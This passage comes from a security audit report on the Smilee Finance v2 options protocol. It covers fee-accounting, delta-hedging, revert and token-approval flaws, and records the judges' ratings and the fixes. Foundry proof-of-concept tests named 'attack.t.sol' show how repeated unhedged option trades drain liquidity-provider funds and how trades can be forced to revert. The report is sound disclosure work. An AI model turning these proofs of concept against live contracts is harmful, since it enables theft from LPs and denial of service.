Malicious users can break all fee and vault fee accounting by inflating existing vaults or user addresses fees earned without actually paying these fees, making it hard/impossible for admins to determine the actual fees earned from each vault or dvp. Moreover, malicious user can temporarily brick DVP smart contract by inflating vault's accounted fees to `uint256.max`, thus making all DVP mints and burns (which call `trackVaultFee`) revert.

Code Snippet

`FeeManager.trackVaultFee`: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/FeeManager.sol#L218-L228

`FeeManager.receiveFee`: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/FeeManager.sol#L210-L215

Tool used

Manual Review

Recommendation

Consider adding a whitelist of addresses which can call these functions.

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid; medium(4)

metadato-eth

MEDIUM The issue is real but does not expose any fund at risk, it only transaltes in DoS, which would be easily solved by deploying a fixed fee manager.

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/0ae2a2b82f291e76919168b5bbfdf1d1a8c4f17a.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-7: Trading out of the money options has delta = 0 which breaks protocol assumptions of traders profit being fully hedged and can result in a loss of funds to LPs

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/97

The protocol has acknowledged this issue.

Found by

panprog

Summary

Smilee protocol fully hedges all traders pnl by re-balancing the vault between base and side tokens after each trade. This is the assumption about this from the docs:

> This ensures Smilee has always the correct exposure to the reference tokens to:
>
> - Cover Impermanent Gain payoffs, no matter how much money traders earn and when they trade.
> - Ensure Liquidity Providers gets the same payoff of a DEX LP*
> - Ensure the protocol is not exposed to any shortfall. https://docs.smilee.finance/protocol-design/delta-hedging

In the other words, any profit for traders is taken from the hedge and not from the vault Liquidity Providers funds. LP payoff must be at least the underlying DEX (Uniswap) payoff without fees with the same settings.

However, out of the money options (IG Bull when `price < strike` or IG Bear when `price > strike`) have `delta = 0`, meaning that trading such options doesn't influence vault re-balancing. Since the price of these options changes depending on current asset price, any profit gained by traders from these trades is not hedged and thus becomes the loss of the vault LPs, breaking the assumption referenced above.

As a result, LPs payout can becomes less than underlying DEX LPs payout without fees. And in extreme cases the vault funds might not be enough to cover traders payoff.

Vulnerability Detail

When the vault delta hedges its position after each trade, it only hedges in the money options, ignoring any out of the money options. For example, this is the calculation of the IG Bull delta (`s` is the current asset price, `k` is the strike):

```
    /**
        _bull = (1 / ) * F
        F = {
@@@         * 0                      if (S < K)
            * (1 - (K / Kb)) / K    if (S > Kb)
            * 1 / K - 1 / (S * K)   if (K < S < Kb)
        }
    */
    function bullDelta(uint256 k, uint256 kB, uint256 s, uint256 theta) internal
↪   pure returns (int256) {
        SD59x18 delta;
        if (s <= k) {
@@@         return 0;
        }
```

This is example scenario to demonstrate the issue:

- strike = 1
- vault has deposits = 2 (base = 1, side = 1), available liquidity: bull = 1, bear = 1
- trader buys 1 IG bear. This ensures that no vault re-balance happens when `price < strike`
- price drops to 0.9. Trader buys 1 IG bull (premium paid = 0.000038)
- price raises to 0.99. Trader sells 1 IG bull (premium received = 0.001138). Trader profit = 0.0011
- price is back to 1. Trader sells back 1 IG bear.
- at this point the vault has (base = 0.9989, side = 1), meaning LPs have lost some funds when the price = strike.

While the damage from 1 trade is not large, if this is repeated several times, the damage to LP funds will keep inceasing.

This can be especially dangerous if very long dated expiries are used, for example annual IG options. If the asset price remains below the strike for most of the time and IG Bear liquidity is close to 100% usage, then **all** IG Bull trades will be unhedged, thus breaking the core protocol assumption that traders profit should not translate to LPs loss: in such case traders profit will be the same loss for LPs. In extreme volatility, if price drops by 50% then recovers, traders can profit 3% of the

vault with each trade, so after 33 trades the vault will be fully drained.

Impact

In some specific trading conditions (IG Bear liquidity used close to 100% if price < strike, or IG Bull liquidity used close to 100% if price > strike), all or most of the traders pnl is not hedged and thus becomes loss or profit of the LPs, breaking the core protocol assumptions about hedging and in extreme cases can drain significant percentage of the vault (LPs) funds, up to a point of not being able to payout traders payoff.

Proof Of Concept

Copy to `attack.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPositionManager} from "@project/interfaces/IPositionManager.sol";
import {Epoch} from "@project/lib/EpochController.sol";
import {AmountsMath} from "@project/lib/AmountsMath.sol";
import {EpochFrequency} from "@project/lib/EpochFrequency.sol";
import {OptionStrategy} from "@project/lib/OptionStrategy.sol";
import {AddressProvider} from "@project/AddressProvider.sol";
import {MarketOracle} from "@project/MarketOracle.sol";
import {FeeManager} from "@project/FeeManager.sol";
import {Vault} from "@project/Vault.sol";
import {TestnetToken} from "@project/testnet/TestnetToken.sol";
import {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";
import {DVPUtils} from "./utils/DVPUtils.sol";
import {TokenUtils} from "./utils/TokenUtils.sol";
import {Utils} from "./utils/Utils.sol";
import {VaultUtils} from "./utils/VaultUtils.sol";
import {MockedIG} from "./mock/MockedIG.sol";
import {MockedRegistry} from "./mock/MockedRegistry.sol";
import {MockedVault} from "./mock/MockedVault.sol";
import {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";
import {PositionManager} from "@project/periphery/PositionManager.sol";


contract IGTradeTest is Test {
```

```
    using AmountsMath for uint256;

    address admin = address(0x1);

    // User of Vault
    address alice = address(0x2);
    address bob = address(0x3);

    //User of DVP
    address charlie = address(0x4);
    address david = address(0x5);

    AddressProvider ap;
    TestnetToken baseToken;
    TestnetToken sideToken;
    FeeManager feeManager;

    MockedRegistry registry;

    MockedVault vault;
    MockedIG ig;
    TestnetPriceOracle priceOracle;
    TestnetSwapAdapter exchange;
    uint _strike;

    function setUp() public {
        vm.warp(EpochFrequency.REF_TS);
        //ToDo: Replace with Factory
        vm.startPrank(admin);
        ap = new AddressProvider(0);
        registry = new MockedRegistry();
        ap.grantRole(ap.ROLE_ADMIN(), admin);
        registry.grantRole(registry.ROLE_ADMIN(), admin);
        ap.setRegistry(address(registry));

        vm.stopPrank();

        vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap,
↪   admin, vm));
        priceOracle = TestnetPriceOracle(ap.priceOracle());

        baseToken = TestnetToken(vault.baseToken());
        sideToken = TestnetToken(vault.sideToken());

        vm.startPrank(admin);

        ig = new MockedIG(address(vault), address(ap));
```


```
        ig.grantRole(ig.ROLE_ADMIN(), admin);
        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
        vault.grantRole(vault.ROLE_ADMIN(), admin);
        vm.stopPrank();
        ig.setOptionPrice(1e3);
        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1
        ig.useRealDeltaHedge();
        ig.useRealPercentage();
        ig.useRealPremium();

        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);

        vm.prank(admin);
        registry.registerDVP(address(ig));
        vm.prank(admin);
        MockedVault(vault).setAllowedDVP(address(ig));
        feeManager = FeeManager(ap.feeManager());

        exchange = TestnetSwapAdapter(ap.exchangeAdapter());
    }

    // try to buy/sell ig bull below strike for user's profit
    // this will not be hedged, and thus the vault should lose funds
    function test() public {
        _strike = 1e18;
        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), _strike);
        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);
        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);

        Utils.skipWeek(true, vm);

        vm.prank(admin);
        ig.rollEpoch();

        VaultUtils.logState(vault);
        DVPUtils.debugState(ig);

        // to ensure no rebalance from price movement
        console.log("Buy 100% IG BEAR @ 1.0");
        testBuyOption(1e18, 0, 1e18);

        for (uint i = 0; i < 20; i++) {
            // price moves down, we buy
            vm.warp(block.timestamp + 1 hours);
            console.log("Buy 100% IG BULL @ 0.9");
            testBuyOption(0.9e18, 1e18, 0);
```


```
            // price moves up, we sell
            vm.warp(block.timestamp + 1 hours);
            console.log("Sell 100% IG BULL @ 0.99");
            testSellOption(0.99e18, 1e18, 0);
        }

        // sell back original
        console.log("Sell 100% IG BEAR @ 1.0");
        testSellOption(1e18, 0, 1e18);
    }

    function testBuyOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {

        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike,
↪   optionAmountUp, optionAmountDown);

        vm.startPrank(charlie);
        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown,
↪   premium, 10e18, 0);
        vm.stopPrank();

        console.log("premium", premium);
        (uint256 btAmount, uint256 stAmount) = vault.balances();
        console.log("base token notional", btAmount);
        console.log("side token notional", stAmount);
    }

    function testSellOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {
        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        uint256 charliePayoff;
        uint256 charliePayoffFee;
        {
            vm.startPrank(charlie);
            (charliePayoff, charliePayoffFee) = ig.payoff(
                ig.currentEpoch(),
                _strike,
                optionAmountUp,
                optionAmountDown
            );
```

```
            charliePayoff = ig.burn(
                ig.currentEpoch(),
                charlie,
                _strike,
                optionAmountUp,
                optionAmountDown,
                charliePayoff,
                0.1e18
            );
            vm.stopPrank();

            console.log("payoff received", charliePayoff);
            (uint256 btAmount, uint256 stAmount) = vault.balances();
            console.log("base token notional", btAmount);
            console.log("side token notional", stAmount);
        }
    }

    function _assurePremium(
        address user,
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown
    ) private returns (uint256 premium_, uint256 fee) {
        (premium_, fee) = ig.premium(strike, amountUp, amountDown);
        TokenUtils.provideApprovedTokens(admin, address(baseToken), user,
↪   address(ig), premium_*5, vm);
    }
}
```

Execution console:

```
  baseToken balance 1000000000000000000
  sideToken balance 1000000000000000000
  dead false
  lockedInitially 2000000000000000000
...
  Buy 100% IG BEAR @ 1.0
  premium 6140201098441368
  base token notional 1006140201098441412
  side token notional 999999999999999956
  Buy 100% IG BULL @ 0.9
  premium 3853262173300493
  base token notional 1009993463271741905
  side token notional 999999999999999956
  Sell 100% IG BULL @ 0.99
```

```
  payoff received 4865770659690694
  base token notional 1005127692612051211
  side token notional 999999999999999956
...
  Buy 100% IG BULL @ 0.9
  premium 1827837493502948
  base token notional 984975976168184269
  side token notional 999999999999999956
  Sell 100% IG BULL @ 0.99
  payoff received 3172781130161218
  base token notional 981803195038023051
  side token notional 999999999999999956
  Sell 100% IG BEAR @ 1.0
  payoff received 3269654020920760
  base token notional 978533541017102291
  side token notional 999999999999999956
```

Notice:

1. Initial vault balance at the asset price of 1.0 is base = 1, side = 1
2. All IG Bull trades do not change vault side token balance (no re-balancing happens)
3. After 20 trades, at the asset price of 1.0, base = 0.9785, side = 1

This means that 20 profitable trades create a 1.07% loss for the vault. Similar scenario for annual options with 50% price move shows 3% vault loss per trade.

Code Snippet

`FinanceIGDelta.bullDelta` OTM delta = 0:
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/lib/FinanceIGDelta.sol#L122-L134

`FinanceIGDelta.bearDelta` OTM delta = 0:
https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/lib/FinanceIGDelta.sol#L144-L156

Tool used

Manual Review

Recommendation

The issue seems to be from the approximation of the delta for OTM options. Statistically, long-term, the issue shouldn't be a problem as the long-term

expectation is positive for the LPs profit due to it. However, short-term, the traders profit can create issues, and this seems to be the protocol's core assumption. Possible solution can include more precise delta calculation, maybe still approximation, but slightly more precise than the current approximation used.

Alternatively, keep track of underlying DEX equivalent of LP payoff at the current price and if, after the trade, vault's notional is less than that, add fee = the difference, to ensure that the assumption above is always true (similar to how underlying DEX slippage is added as a fee).

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid; medium(11)

metadato-eth

Acknowledged but not fixed.. We tested it and it does not generate any issue a part from super extreme/ super unlikely scenarios.

Issue M-8: If the vault's side token balance is 0 or a tiny amount, then most if not all IG Bear trades will revert due to incorrect check of computation error during delta hedge amount calculation

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/100

Found by

panprog

Summary

When delta hedge amount is calculated in `FinanceIGDelta.deltaHedgeAmount`, the last step is to verify that delta hedge amount to sell is slightly more than vault's side token due to computation error. The check is the following:

```
if (SignedMath.abs(tokensToSwap) > params.sideTokensAmount) {
    if (SignedMath.abs(tokensToSwap) - params.sideTokensAmount <
↪   params.sideTokensAmount / 10000) {
        tokensToSwap = SignedMath.revabs(params.sideTokensAmount, true);
    }
}
```

The check works correctly most of the time, but if the vault's side token (`param.sideTokensAmount`) is 0 or close to it, then the check will always fail, because `0 / 10000 = 0` and unsigned amount can not be less than 0. This means that even tiny amount to sell (like 1 wei) will revert the transaction if the vault has 0 side tokens.

Vulnerability Detail

Vault's side token is 0 when:

- the current price trades above high boundary (Kb)
- **and** IG Bull used liquidity equals 0

In such situation, any IG bear trade doesn't impact hedge amount, but due to computation error will almost always result in tiny but non-0 side token amount to sell value, which will revert due to incorrect comparision described above.

Impact

Almost all IG Bear trades will revert in certain situations, leading to core protocol function being unavailable and potentially loss of funds to the users who expected to do these trades.

Proof Of Concept

Copy to `attack.t.sol`:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IPositionManager} from "@project/interfaces/IPositionManager.sol";
import {Epoch} from "@project/lib/EpochController.sol";
import {AmountsMath} from "@project/lib/AmountsMath.sol";
import {EpochFrequency} from "@project/lib/EpochFrequency.sol";
import {OptionStrategy} from "@project/lib/OptionStrategy.sol";
import {AddressProvider} from "@project/AddressProvider.sol";
import {MarketOracle} from "@project/MarketOracle.sol";
import {FeeManager} from "@project/FeeManager.sol";
import {Vault} from "@project/Vault.sol";
import {TestnetToken} from "@project/testnet/TestnetToken.sol";
import {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";
import {DVPUtils} from "./utils/DVPUtils.sol";
import {TokenUtils} from "./utils/TokenUtils.sol";
import {Utils} from "./utils/Utils.sol";
import {VaultUtils} from "./utils/VaultUtils.sol";
import {MockedIG} from "./mock/MockedIG.sol";
import {MockedRegistry} from "./mock/MockedRegistry.sol";
import {MockedVault} from "./mock/MockedVault.sol";
import {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";
import {PositionManager} from "@project/periphery/PositionManager.sol";


contract IGTradeTest is Test {
    using AmountsMath for uint256;

    address admin = address(0x1);

    // User of Vault
    address alice = address(0x2);
```

```
    address bob = address(0x3);

    //User of DVP
    address charlie = address(0x4);
    address david = address(0x5);

    AddressProvider ap;
    TestnetToken baseToken;
    TestnetToken sideToken;
    FeeManager feeManager;

    MockedRegistry registry;

    MockedVault vault;
    MockedIG ig;
    TestnetPriceOracle priceOracle;
    TestnetSwapAdapter exchange;
    uint _strike;

    function setUp() public {
        vm.warp(EpochFrequency.REF_TS);
        //ToDo: Replace with Factory
        vm.startPrank(admin);
        ap = new AddressProvider(0);
        registry = new MockedRegistry();
        ap.grantRole(ap.ROLE_ADMIN(), admin);
        registry.grantRole(registry.ROLE_ADMIN(), admin);
        ap.setRegistry(address(registry));

        vm.stopPrank();

        vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap,
↪   admin, vm));
        priceOracle = TestnetPriceOracle(ap.priceOracle());

        baseToken = TestnetToken(vault.baseToken());
        sideToken = TestnetToken(vault.sideToken());

        vm.startPrank(admin);

        ig = new MockedIG(address(vault), address(ap));
        ig.grantRole(ig.ROLE_ADMIN(), admin);
        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);
        vault.grantRole(vault.ROLE_ADMIN(), admin);
        vm.stopPrank();
        ig.setOptionPrice(1e3);
        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1
```


```
        ig.useRealDeltaHedge();
        ig.useRealPercentage();
        ig.useRealPremium();

        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);

        vm.prank(admin);
        registry.registerDVP(address(ig));
        vm.prank(admin);
        MockedVault(vault).setAllowedDVP(address(ig));
        feeManager = FeeManager(ap.feeManager());

        exchange = TestnetSwapAdapter(ap.exchangeAdapter());
    }

    // try to buy/sell ig bull below strike for user's profit
    // this will not be hedged, and thus the vault should lose funds
    function test() public {
        _strike = 1e18;
        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);
        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);

        Utils.skipWeek(true, vm);

        vm.prank(admin);
        ig.rollEpoch();

        VaultUtils.logState(vault);
        DVPUtils.debugState(ig);

        testBuyOption(1.24e18, 1, 0); // re-balance to have 0 side tokens
        testBuyOption(1.24e18, 0, 0.1e18); // reverts due to computation error
↪   and incorrect check to fix it
    }

    function testBuyOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal {

        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike,
↪   optionAmountUp, optionAmountDown);

        vm.startPrank(charlie);
        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown,
↪   premium, 10e18, 0);
```


```
        vm.stopPrank();

        console.log("premium", premium);
    }

    function testSellOption(uint price, uint128 optionAmountUp, uint128
↪   optionAmountDown) internal returns (uint) {
        vm.prank(admin);
        priceOracle.setTokenPrice(address(sideToken), price);

        uint256 charliePayoff;
        uint256 charliePayoffFee;
        {
            vm.startPrank(charlie);
            (charliePayoff, charliePayoffFee) = ig.payoff(
                ig.currentEpoch(),
                _strike,
                optionAmountUp,
                optionAmountDown
            );

            charliePayoff = ig.burn(
                ig.currentEpoch(),
                charlie,
                _strike,
                optionAmountUp,
                optionAmountDown,
                charliePayoff,
                0.1e18
            );
            vm.stopPrank();

            console.log("payoff received", charliePayoff);
        }
    }

    function _assurePremium(
        address user,
        uint256 strike,
        uint256 amountUp,
        uint256 amountDown
    ) private returns (uint256 premium_, uint256 fee) {
        (premium_, fee) = ig.premium(strike, amountUp, amountDown);
        TokenUtils.provideApprovedTokens(admin, address(baseToken), user,
↪   address(ig), premium_*5, vm);
    }
```

```
}
```

Notice: execution will revert when trying to buy IG Bear options.

Code Snippet

`FinanceIGDelta.deltaHedgeAmount` will always revert for 0 or tiny side token amounts: https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/lib/FinanceIGDelta.sol#L111-L113

Tool used

Manual Review

Recommendation

Possibly check both relative (sideToken / 10000) and absolute (e.g. 1000 or `side token UNIT / 10000`) value. Alternatively, always limit side token to sell amount to max of side token balance when hedging (but needs additional research if that might create issues).

Discussion

sherlock-admin2

1 comment(s) were left on this issue during the judging contest.

takarez commented:

> valid; medium(8)

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/a83d79fbd1f7be48f69d36e0cd5812c333a44ce8.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-9: Mint and sales can be dossed due to lack of safeApprove to 0

Source: https://github.com/sherlock-audit/2024-02-smilee-finance-judging/issues/118

Found by

ZanyBonzy, panprog

Summary

The lack of approval to 0 to the dvp contract, and the fee managers during DVP mints and sales will cause that subsequent transactions involving approval of these contracts to spend the basetoken will fail, breaking their functionality.

Vulnerability Detail

When DVPs are to be minted and sold through the PositionManager, the mint and sell functions are invoked. The first issue appears here, where the DVP contract is approved to spend the basetoken using the OpenZeppelin's `safeApprove` function, without first approving to zero. Further down the line, the `mint` and `sell` functions make calls to the DVP contract to mint and burn DVP respectively.

The _mint and _burn functions in the DVP contract approves the fee manager to spend the `fee - vaultFee/netFee`.

This issue here is that OpenZeppelin's `safeApprove()` function does not allow changing a non-zero allowance to another non-zero allowance. This will therefore cause all subsequent approval of the basetoken to fail after the first approval, dossing the contract's minting and selling/burning functionality.

OpenZeppelin's `safeApprove()` will revert if the account already is approved and the new safeApprove() is done with a non-zero value.

```
function safeApprove(
    IERC20 token,
    address spender,
    uint256 value
) internal {
    // safeApprove should only be called when setting an initial allowance,
    // or when resetting it to zero. To increase and decrease it, use
    // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
    require(
        (value == 0) || (token.allowance(address(this), spender) == 0),
        "SafeERC20: approve from non-zero to non-zero allowance"
```

```
    );
    _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector,
↪   spender, value));
}
```

Impact

This causes that after the first approval for the baseToken has been given, subsequent approvals will fail causing the functions to fail.

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/DVP.sol#L173 The `_mint` and `_burn` functions both send a call to approve the feeManager to "pull" the tokens upon the `receiveFee` function being called. And as can be seen from the snippets, a zero approval is not given first.

```
    function _mint(
        address recipient,
        uint256 strike,
        Amount memory amount,
        uint256 expectedPremium,
        uint256 maxSlippage
    ) internal returns (uint256 premium_) {
...
        // Get fees from sender:
        IERC20Metadata(baseToken).safeTransferFrom(msg.sender, address(this),
↪   fee - vaultFee);
        IERC20Metadata(baseToken).safeApprove(address(feeManager), fee -
↪   vaultFee); //@note
        feeManager.receiveFee(fee - vaultFee);
...
    }
```

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/DVP.sol#L327

```
function _burn(
    uint256 expiry,
    address recipient,
    uint256 strike,
    Amount memory amount,
    uint256 expectedMarketValue,
    uint256 maxSlippage
```

```
) internal returns (uint256 paidPayoff) {
 ....
    IERC20Metadata(baseToken).safeApprove(address(feeManager), netFee); //@note
    feeManager.receiveFee(netFee);
    feeManager.trackVaultFee(address(vault), vaultFee);

    emit Burn(msg.sender);
}
```

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/3241f1bf0c8e951a41dd2e51997f64ef3ec017bd/smilee-v2-contracts/src/periphery/PositionManager.sol#L124

```
    function mint(
        IPositionManager.MintParams calldata params
    ) external override returns (uint256 tokenId, uint256 premium) {
...
        // Transfer premium:
        // NOTE: The PositionManager is just a middleman between the user and
↪   the DVP
        IERC20 baseToken = IERC20(dvp.baseToken());
        baseToken.safeTransferFrom(msg.sender, address(this), obtainedPremium);

        // Premium already include fee
        baseToken.safeApprove(params.dvpAddr, obtainedPremium);//@note

...
    }
```

Tool used

Manual Review

Recommendation

1. Approve first to 0;
2. Update the OpenZeppelin version to the latest and use the `forceApprove` functions instead;
3. Refactor the functions to allow for direct transfer of base tokens to the DVP and FeeManager contracts directly.

Discussion

sherlock-admin4

2 comment(s) were left on this issue during the judging contest.

panprog commented:

> valid medium. dup of #41

takarez commented:

> valid; medium(3)

sherlock-admin4

The protocol team fixed this issue in PR/commit https://github.com/dverso/smilee-v2-contracts/commit/84174d20544970309c862a2bf35ccfa3046d6bd9.

panprog

Fix review: Fixed

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.